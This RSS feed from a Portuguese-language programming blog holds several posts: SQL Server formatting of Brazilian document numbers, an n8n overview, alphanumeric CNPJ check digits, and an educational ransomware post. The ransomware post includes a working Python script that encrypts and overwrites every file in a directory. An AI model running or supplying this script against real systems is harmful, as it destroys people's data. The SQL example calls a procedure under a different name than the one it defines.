<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Manual do Programador</title>
	<atom:link href="https://www.manualdoprogramador.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.manualdoprogramador.com</link>
	<description>Explore o Manual do Programador e encontre artigos detalhados e atualizados sobre linguagens de programação, frameworks, desenvolvimento web, mobile, inteligência artificial e muito mais. Nosso objetivo é fornecer um conteúdo de qualidade e prático para desenvolvedores de todos os níveis - desde iniciantes até profissionais experientes. Descubra dicas para melhorar a eficiência do seu código, tutoriais passo a passo para projetos práticos, novidades do mundo da programação e resenhas de ferramentas úteis</description>
	<lastBuildDate>Sun, 03 Aug 2025 17:58:38 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2023/06/Logo-redonda-1-1.png?fit=32%2C32&#038;ssl=1</url>
	<title>Manual do Programador</title>
	<link>https://www.manualdoprogramador.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">220693552</site>	<item>
		<title>Como formatar CNPJ, CPF e CEP com SQL Server</title>
		<link>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-formatar-cnpj-cpf-e-cep-com-sql-server</link>
					<comments>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/#respond</comments>
		
		<dc:creator><![CDATA[Silvio Cesar Junior]]></dc:creator>
		<pubDate>Sun, 03 Aug 2025 17:33:28 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1241</guid>

					<description><![CDATA[Você já se deparou com dados &#8220;crus&#8221; no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img data-recalc-dims="1" fetchpriority="high" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/08/ChatGPT-Image-3-de-ago.-de-2025-14_30_40.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1242"/></figure>



<p>Você já se deparou com dados &#8220;crus&#8221; no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente no sistema? Ou talvez tenha precisado tratar essa visualização direto em um <code>SELECT</code> ou <code>PROCEDURE</code> para exibir os dados já formatados para o cliente? <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f62c.png" alt="😬" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Hoje vou te mostrar como formatar <strong>CNPJ</strong>, <strong>CPF</strong> e <strong>CEP</strong> diretamente no <strong>SQL Server</strong>, utilizando funções nativas como <code>SUBSTRING</code>, <code>LEFT</code>, <code>RIGHT</code> e <code>STUFF</code>. O processo é simples, limpo e extremamente útil — principalmente em procedures que geram relatórios, exibem dados em tela ou enviam mensagens automatizadas. Essa abordagem evita o retrabalho de formatar os dados no backend, o que pode gerar processamento desnecessário e quebrar a responsabilidade das camadas do sistema.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Por que formatar direto no SQL?</h2>



<p>É comum e até recomendado que os dados armazenados no banco venham <strong>sem formatação</strong>, contendo apenas os números. Isso facilita operações, buscas e integrações. Mas, quando precisamos exibir os dados de forma legível — como em logs, templates ou mensagens automáticas — ter a formatação no SQL pode ser muito útil.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CNPJ:  <code>12.345.678/0001-95</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o primeiro ponto após os 2 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 5 primeiros dígitos (já contando o ponto anterior)
        STUFF(
            -- Adiciona a barra após os 8 primeiros dígitos (contando os dois pontos anteriores)
            STUFF(
                -- Adiciona o traço após os 12 primeiros dígitos (contando os separadores)
                STUFF(&#039;12345678000195&#039;, 3, 0, &#039;.&#039;),  -- Resultado: 12.345678000195
            7, 0, &#039;.&#039;),                             -- Resultado: 12.345.678000195
        11, 0, &#039;/&#039;),                                -- Resultado: 12.345.678/000195
    16, 0, &#039;-&#039;) AS CNPJ_Formatado                  -- Resultado final: 12.345.678/0001-95</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CPF:  <code>&lt;em&gt;123.456.789-01&lt;/em&gt;</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o primeiro ponto após os 3 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 6 primeiros dígitos (já contando o primeiro ponto)
        STUFF(
            -- Adiciona o traço após os 9 primeiros dígitos (já contando os pontos)
            STUFF(&#039;12345678901&#039;, 4, 0, &#039;.&#039;),     -- Resultado: 123.45678901
        8, 0, &#039;.&#039;),                              -- Resultado: 123.456.78901
    12, 0, &#039;-&#039;) AS CPF_Formatado                 -- Resultado final: 123.456.789-01</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CEP: <code>12345-678</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o traço após os 5 primeiros dígitos
    STUFF(&#039;12345678&#039;, 6, 0, &#039;-&#039;) AS CEP_Formatado
    -- Resultado final: 12345-678</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dica: Centralize a lógica em uma Procedure</h3>



<p>Centralizar a formatação em uma procedure ajuda a organizar o código, evitar repetição e facilita a manutenção. Sempre que precisar dessas formatações, basta chamar a procedure.</p>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">CREATE PROCEDURE dbo.SP_EXIBE_CLIENTE
    @CNPJ VARCHAR(14),
    @CPF  VARCHAR(11),
    @CEP  VARCHAR(8)
AS
BEGIN
    SET NOCOUNT ON;

    CREATE TABLE #CNPJ_Formatado (CNPJ VARCHAR(18));
    INSERT INTO #CNPJ_Formatado (CNPJ)
    SELECT STUFF(STUFF(STUFF(STUFF(@CNPJ, 3, 0, &#039;.&#039;), 7, 0, &#039;.&#039;), 11, 0, &#039;/&#039;), 16, 0, &#039;-&#039;);

    CREATE TABLE #CPF_Formatado (CPF VARCHAR(14));
    INSERT INTO #CPF_Formatado (CPF)
    SELECT STUFF(STUFF(STUFF(@CPF, 4, 0, &#039;.&#039;), 8, 0, &#039;.&#039;), 12, 0, &#039;-&#039;);

    CREATE TABLE #CEP_Formatado (CEP VARCHAR(9));
    INSERT INTO #CEP_Formatado (CEP)
    SELECT STUFF(@CEP, 6, 0, &#039;-&#039;);

    SELECT
        C.CNPJ,
        P.CPF,
        E.CEP
    FROM #CNPJ_Formatado C
    CROSS JOIN #CPF_Formatado P
    CROSS JOIN #CEP_Formatado E;

    DROP TABLE #CNPJ_Formatado;
    DROP TABLE #CPF_Formatado;
    DROP TABLE #CEP_Formatado;
END</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Como usar a Procedure:</h4>



<pre class="wp-block-prismatic-blocks"><code class="language-">EXEC dbo.sp_Formatar_Documentos
    @CNPJ = &#039;12345678000195&#039;,
    @CPF = &#039;12345678901&#039;,
    @CEP = &#039;12345678&#039;</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Resultado esperado:</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>CNPJ</th><th>CPF</th><th>CEP</th></tr></thead><tbody><tr><td>12.345.678/0001-95</td><td>123.456.789-01</td><td>12345-678</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Atenção!</h3>



<p>Essas formatações <strong>presumem que os dados estão completos e sem formatação</strong>. Caso os campos venham com caracteres inválidos ou estejam incompletos, é importante validar previamente usando <code>LEN</code>, <code>ISNUMERIC</code>, ou <code>TRY_CAST</code>/<code>TRY_CONVERT</code> (se estiver usando SQL Server 2012+).</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusão</h3>



<p>Saber formatar diretamente no SQL Server pode acelerar tarefas de testes, visualização de dados, geração de relatórios e mensagens automáticas. Se quiser ir além, você pode transformar essas lógicas em funções reutilizáveis para aplicar sempre que necessário.</p>



<p>Curtiu a dica? Já precisou fazer esse tipo de formatação no SQL alguma vez? Comenta aí como você resolveu — ou que tipo de gambiarra já fez com CNPJ e CPF! <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f604.png" alt="😄" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1241</post-id>	</item>
		<item>
		<title>Alerta! Veja Como um Ransomware Real Funciona com Python</title>
		<link>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=alerta-veja-como-um-ransomware-real-funciona-com-python</link>
					<comments>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/#comments</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Thu, 31 Jul 2025 21:00:00 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Carreira]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[cibersegurança]]></category>
		<category><![CDATA[criptografar arquivos]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[educação em segurança]]></category>
		<category><![CDATA[engenharia reversa]]></category>
		<category><![CDATA[exemplo em python]]></category>
		<category><![CDATA[fernet]]></category>
		<category><![CDATA[hacking ético]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[proteção de dados]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[ransomware]]></category>
		<category><![CDATA[segurança da informação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1233</guid>

					<description><![CDATA[Introdução Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/07/ChatGPT-Image-31-de-jul.-de-2025-14_09_21.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1235" style="width:328px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>Introdução</strong></h3>



<p>Você já ouviu falar em <em>ransomware</em>? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">O que é um Ransomware?</h3>



<p>Um <em>ransomware</em> é um tipo de malware que <strong>sequestra os dados da vítima</strong> por meio de <strong>criptografia</strong>. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima <strong>não recebe a chave de descriptografia</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como funciona tecnicamente?</h3>



<ol class="wp-block-list">
<li>O atacante cria um programa que:
<ul class="wp-block-list">
<li>Vasculha o diretório à procura de arquivos.</li>



<li>Criptografa os arquivos com uma chave gerada na hora.</li>



<li>Salva a chave num local escondido ou remoto.</li>



<li>Exclui os arquivos originais e deixa uma mensagem de resgate.</li>
</ul>
</li>



<li>A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Exemplo em Python</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Atenção:</strong> Este exemplo é apenas educativo! <strong>Não use esse código para fins maliciosos.</strong></p>
</blockquote>



<h4 class="wp-block-heading"><code>malware.py</code> – Criptografando os arquivos</h4>



<pre class="wp-block-preformatted">#!/usr/bin/env python3<br>import os<br>from cryptography.fernet import Fernet<br><br>files = []<br>for file in os.listdir():<br>    if file in ("malware.py", "thekey.key", "decrypt.py"):<br>        continue<br>    if os.path.isfile(file):<br>        files.append(file)<br><br>print("Encrypted files:", files)<br><br>key = Fernet.generate_key()<br>with open("thekey.key", "wb") as thekey:<br>    thekey.write(key)<br><br>for file in files:<br>    with open(file, "rb") as thefile:<br>        content = thefile.read()<br>    content_encrypted = Fernet(key).encrypt(content)<br>    with open(file, "wb") as thefile:<br>        thefile.write(content_encrypted)<br><br>print("All your files have been encrypted!")</pre>



<h4 class="wp-block-heading">O que esse código faz?</h4>



<ul class="wp-block-list">
<li>Gera uma chave de criptografia com <code>Fernet</code>.</li>



<li>Ignora arquivos importantes do próprio script.</li>



<li>Criptografa todos os arquivos do diretório atual e sobrescreve os originais.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como descriptografar os arquivos?</h3>



<h4 class="wp-block-heading"><code>decrypt.py</code> – Descriptografando</h4>



<pre class="wp-block-preformatted">import os<br>from cryptography.fernet import Fernet<br><br>files = []<br>for file in os.listdir():<br>    if file in ("malware.py", "thekey.key", "decrypt.py"):<br>        continue<br>    if os.path.isfile(file):<br>        files.append(file)<br><br>with open("thekey.key", "rb") as key_file:<br>    secretkey = key_file.read()<br><br>passphrase = "M4nu4ld0Pr0gr4m4d0r"  # senha definida pelo "atacante"<br>user_input = input("Enter the password to decrypt your files: ")<br><br>if user_input == passphrase:<br>    for file in files:<br>        with open(file, "rb") as thefile:<br>            content = thefile.read()<br>        decrypted = Fernet(secretkey).decrypt(content)<br>        with open(file, "wb") as thefile:<br>            thefile.write(decrypted)<br>    print("Files successfully decrypted.")<br>else:<br>    print("Wrong password. Access denied.")</pre>



<h3 class="wp-block-heading">O que você aprendeu aqui?</h3>



<ul class="wp-block-list">
<li>Como funciona a criptografia de arquivos com <code>Fernet</code>.</li>



<li>Como é simples automatizar isso em um script.</li>



<li>Que a segurança digital <strong>é responsabilidade de todos nós.</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Alerta: uso ético e legal</h3>



<p>Esse exemplo foi apresentado <strong>somente para fins educacionais</strong>, com o objetivo de <strong>conscientizar</strong> sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é <strong>crime previsto em lei</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como se proteger?</h3>



<ul class="wp-block-list">
<li>Nunca execute arquivos desconhecidos.</li>



<li>Faça backup regular dos seus dados.</li>



<li>Mantenha o sistema e antivírus sempre atualizados.</li>
</ul>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1233</post-id>	</item>
		<item>
		<title>O que é o n8n e por que ele está revolucionando a automação de tarefas?</title>
		<link>https://www.manualdoprogramador.com/o-que-e-o-n8n-e-por-que-ele-esta-revolucionando-a-automacao-de-tarefas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=o-que-e-o-n8n-e-por-que-ele-esta-revolucionando-a-automacao-de-tarefas</link>
					<comments>https://www.manualdoprogramador.com/o-que-e-o-n8n-e-por-que-ele-esta-revolucionando-a-automacao-de-tarefas/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Mon, 14 Jul 2025 22:30:00 +0000</pubDate>
				<category><![CDATA[Carreira]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[automação de tarefas]]></category>
		<category><![CDATA[automação low-code]]></category>
		<category><![CDATA[ferramenta open source]]></category>
		<category><![CDATA[integrações com APIs]]></category>
		<category><![CDATA[n8n]]></category>
		<category><![CDATA[n8n automação]]></category>
		<category><![CDATA[plataforma de automação]]></category>
		<category><![CDATA[workflows automáticos]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1221</guid>

					<description><![CDATA[Descubra o que é o n8n, como ele funciona e por que está revolucionando a automação de tarefas. Conheça suas vantagens, integrações e por que é a escolha ideal para fluxos low-code.]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/07/ChatGPT-Image-14-de-jul.-de-2025-19_20_43.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1224" style="width:478px;height:auto"/></figure>



<p>Se você trabalha com tecnologia, marketing digital ou processos de negócios, é bem provável que já tenha ouvido falar do <strong>n8n</strong>. Mas afinal, o que é o n8n? E por que tantas pessoas estão escolhendo essa ferramenta para <strong>automatizar tarefas</strong> do dia a dia?</p>



<p>Neste post, você vai entender como o n8n funciona, o que ele permite fazer, suas principais vantagens e por que ele se tornou uma das ferramentas de <strong>automação low-code</strong> mais comentadas do momento.</p>



<h3 class="wp-block-heading">O que é o n8n?</h3>



<p>O <strong>n8n</strong> (que se pronuncia &#8220;n-eight-n&#8221;) é uma plataforma de <strong>automação de workflows</strong> que permite integrar diferentes sistemas, serviços e APIs — tudo com pouca ou nenhuma programação. Ele funciona de forma visual, com <strong>nós (nodes)</strong> que você conecta para criar fluxos automáticos de tarefas.</p>



<p>É como o Zapier ou o Make (Integromat), mas com um grande diferencial: o <strong>n8n é open source e altamente personalizável</strong>.</p>



<h3 class="wp-block-heading">O que dá pra fazer com o n8n?</h3>



<p>A resposta curta: praticamente tudo.</p>



<p>Com o n8n, você pode:</p>



<ul class="wp-block-list">
<li>Automatizar envio de e-mails com base em eventos específicos;</li>



<li>Integrar ferramentas como Slack, Notion, Google Sheets, Trello, GitHub, entre centenas de outras;</li>



<li>Criar rotinas para consultar APIs externas e salvar dados em bancos;</li>



<li>Monitorar alterações em sites ou servidores;</li>



<li>Criar automações com lógica condicional e loops;</li>



<li>E até mesmo acionar scripts personalizados com código JavaScript ou Python.</li>
</ul>



<p>Tudo isso com uma interface visual simples e intuitiva.</p>



<h3 class="wp-block-heading">Por que o n8n se destaca entre outras ferramentas de automação?</h3>



<p>Além de ser <strong>gratuito e open-source</strong>, o n8n permite que você hospede a aplicação onde quiser — inclusive em servidores próprios ou containers Docker.</p>



<p>Alguns diferenciais importantes:</p>



<ul class="wp-block-list">
<li><strong>Sem limites artificiais</strong> de workflows ou número de operações (como nas versões gratuitas do Zapier);</li>



<li><strong>Integrações com mais de 400 serviços</strong>;</li>



<li><strong>Execução local ou em nuvem</strong> com total controle dos dados;</li>



<li>Suporte a <strong>funções customizadas</strong>, webhooks, bancos de dados e APIs REST.</li>
</ul>



<p>Ou seja, é uma ferramenta poderosa tanto para <strong>desenvolvedores</strong> quanto para equipes que buscam <strong>automatizar processos internos</strong> de forma segura, flexível e escalável.</p>



<h3 class="wp-block-heading">Quem está usando o n8n?</h3>



<p>O n8n tem ganhado espaço entre empresas, startups, agências de marketing e até mesmo criadores de conteúdo. Qualquer pessoa que precise automatizar rotinas e conectar ferramentas sem depender de uma equipe técnica pode se beneficiar.</p>



<p>E justamente por ser open source, a comunidade ao redor do projeto cresce a cada dia, com novos nós, tutoriais e plugins sendo desenvolvidos constantemente.</p>



<h3 class="wp-block-heading">Conclusão: vale a pena usar o n8n?</h3>



<p>Se você procura uma solução robusta, flexível e econômica para <strong>automatizar processos</strong>, o n8n é uma escolha certeira. Ele se destaca por unir a simplicidade de plataformas visuais com a liberdade de customização que só ferramentas open source oferecem.</p>



<p>Explore o n8n, teste suas possibilidades e descubra como <strong>automatizar tarefas</strong> pode economizar tempo, reduzir erros e aumentar a produtividade do seu time.</p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/o-que-e-o-n8n-e-por-que-ele-esta-revolucionando-a-automacao-de-tarefas/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1221</post-id>	</item>
		<item>
		<title>CNPJ Alfanumérico Desafios e Impactos nos Sistemas Atuais</title>
		<link>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais</link>
					<comments>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/#respond</comments>
		
		<dc:creator><![CDATA[Silvio Cesar Junior]]></dc:creator>
		<pubDate>Sun, 13 Jul 2025 20:58:31 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Front-end]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Programação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1213</guid>

					<description><![CDATA[Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/07/ChatGPT-Image-13-de-jul.-de-2025-18_13_51.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1216"/></figure>



<p>Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores numéricos. A mudança visa acomodar o contínuo crescimento do número de empresas no Brasil e evitar o esgotamento da numeração disponível. Porém, essa novidade trará uma série de desafios técnicos e exigirá adaptações em diversos pontos dos sistemas corporativos. Neste artigo, vamos explorar os principais impactos e sugerir estratégias para uma transição suave.</p>



<h3 class="wp-block-heading">1. Nova Regra de Cálculo dos Dígitos Verificadores</h3>



<p>Até então, os doze primeiros dígitos do CNPJ eram exclusivamente numéricos, e os dois últimos resultavam de um cálculo baseado em módulo 11 e pesos de 2 a 9. Com a inclusão de letras, será necessário atribuir valores numéricos a cada caractere alfabético (A=17, B=18, …, Z=42) antes de aplicar o algoritmo tradicional de dígitos verificadores.</p>



<p><strong>Fluxo de cálculo resumido</strong>:</p>



<ol class="wp-block-list">
<li><strong>Mapeamento</strong>: converta cada caractere alfanumérico no seu valor segundo tabela (por exemplo, A→17, B→18, …) .</li>



<li><strong>Aplicação de pesos</strong>: aplique pesos de 2 a 9 da direita para a esquerda, reiniciando após o peso</li>



<li><strong>Somatório e módulo</strong>: calcule o somatório dos produtos valor×peso e obtenha o resto da divisão por 11.</li>



<li><strong>Definição do dígito</strong>: se o resto for 0 ou 1, o dígito é 0; caso contrário, é 11 menos o resto.</li>



<li><strong>Repetição</strong>: para o segundo dígito, inclua o primeiro DV ao final e repita o processo.</li>
</ol>



<h3 class="wp-block-heading">1.1 Primeiro Dígito Verificador</h3>



<p>Para validar o CNPJ alfanumérico <strong><code>Y6.K55.XEN/0001-99</code></strong>, extraímos primeiro os 12 caracteres e depois calculamos os dois dígitos verificadores.</p>



<h4 class="wp-block-heading">1.1.1 Primeiro Dígito Verificador</h4>



<ul class="wp-block-list">
<li><strong>Base (12 chars):</strong> <code>Y 6 K 5 5 X E N 0 0 0 1</code></li>



<li><strong>Valor (ASCII–48):</strong>
<ul class="wp-block-list">
<li>Y → 41</li>



<li>6 → 6</li>



<li>K → 27</li>



<li>5 → 5</li>



<li>5 → 5</li>



<li>X → 40</li>



<li>E → 21</li>



<li>N → 30</li>



<li>0 → 0</li>



<li>0 → 0</li>



<li>0 → 0</li>



<li>1 → 1</li>
</ul>
</li>



<li><strong>Pesos:</strong> 5,&nbsp;4,&nbsp;3,&nbsp;2,&nbsp;9,&nbsp;8,&nbsp;7,&nbsp;6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2</li>
</ul>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Posição</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th><th>9</th><th>10</th><th>11</th><th>12</th></tr></thead><tbody><tr><td>Caract.</td><td>Y</td><td>6</td><td>K</td><td>5</td><td>5</td><td>X</td><td>E</td><td>N</td><td>0</td><td>0</td><td>0</td><td>1</td></tr><tr><td>Valor</td><td>41</td><td>6</td><td>27</td><td>5</td><td>5</td><td>40</td><td>21</td><td>30</td><td>0</td><td>0</td><td>0</td><td>1</td></tr><tr><td>Peso</td><td>5</td><td>4</td><td>3</td><td>2</td><td>9</td><td>8</td><td>7</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td></tr></tbody></table></figure>



<ol class="wp-block-list">
<li>Soma dos produtos</li>
</ol>



<pre class="wp-block-code"><code>41×5 + 6×4 + 27×3 + 5×2 + 5×9 + 40×8 + 21×7 + 30×6 + 0 + 0 + 0 + 1×2 = 1 014</code></pre>



<ol start="2" class="wp-block-list">
<li>Resto da divisão por 11</li>
</ol>



<pre class="wp-block-code"><code>1 014 mod 11 = 2</code></pre>



<ol start="3" class="wp-block-list">
<li>Cálculo do primeiro dígito (DV₁)
<ul class="wp-block-list">
<li>Resto ≥ 2 → 11&nbsp;–&nbsp;2 = <strong>9</strong></li>
</ul>
</li>
</ol>



<h4 class="wp-block-heading">1.1.2 Segundo Dígito Verificador</h4>



<pre class="wp-block-code"><code>Y 6 K 5 5 X E N 0 0 0 1 9</code></pre>



<ul class="wp-block-list">
<li><strong>Valores:</strong> mesmos 12 anteriores + 9</li>



<li><strong>Pesos:</strong> 6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2,&nbsp;9,&nbsp;8,&nbsp;7,&nbsp;6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2</li>
</ul>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Posição</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th><th>9</th><th>10</th><th>11</th><th>12</th><th>13</th></tr></thead><tbody><tr><td>Caract.</td><td>Y</td><td>6</td><td>K</td><td>5</td><td>5</td><td>X</td><td>E</td><td>N</td><td>0</td><td>0</td><td>0</td><td>1</td><td>9</td></tr><tr><td>Valor</td><td>41</td><td>6</td><td>27</td><td>5</td><td>5</td><td>40</td><td>21</td><td>30</td><td>0</td><td>0</td><td>0</td><td>1</td><td>9</td></tr><tr><td>Peso</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td><td>9</td><td>8</td><td>7</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td></tr></tbody></table></figure>



<p><strong>Soma dos produtos</strong></p>



<pre class="wp-block-code"><code>41×6 + 6×5 + 27×4 + 5×3 + 5×2 + 40×9 + 21×8 + 30×7 + 0 + 0 + 0 + 1×3 + 9×2 = 1 168</code></pre>



<p>Resto da divisão por 11</p>



<pre class="wp-block-code"><code>1 168 mod 11 = 2</code></pre>



<p>Cálculo do segundo dígito (DV₂)</p>



<p>Resto ≥ 2 → 11&nbsp;–&nbsp;2 = <strong>9</strong></p>



<p>Portanto, os dígitos verificadores são <strong>9</strong> e <strong>9</strong>, conferindo com o CNPJ completo:</p>



<pre class="wp-block-code"><code>Y6.K55.XEN/0001-99</code></pre>



<h3 class="wp-block-heading">1.2 Algoritmo JS para validar se um CNPJ é valido</h3>



<p>Será necessário alterar no front-end do sistema, lugares onde tem validação de CNPJ valído, para isso, segue um algoritmo atualizado para fazer essa validação nos inputs informados do sistema:</p>



<pre class="wp-block-code"><code>/**
 * Valida CNPJ alfanumérico (12 caracteres + 2 dígitos)
 * @param {string} input CNPJ formatado ou não (aceita letras e números)
 * @returns {boolean} true se válido, false caso contrário
 */
function validaCnpjAlpha(input) {
  // Remove tudo que não for letra ou dígito
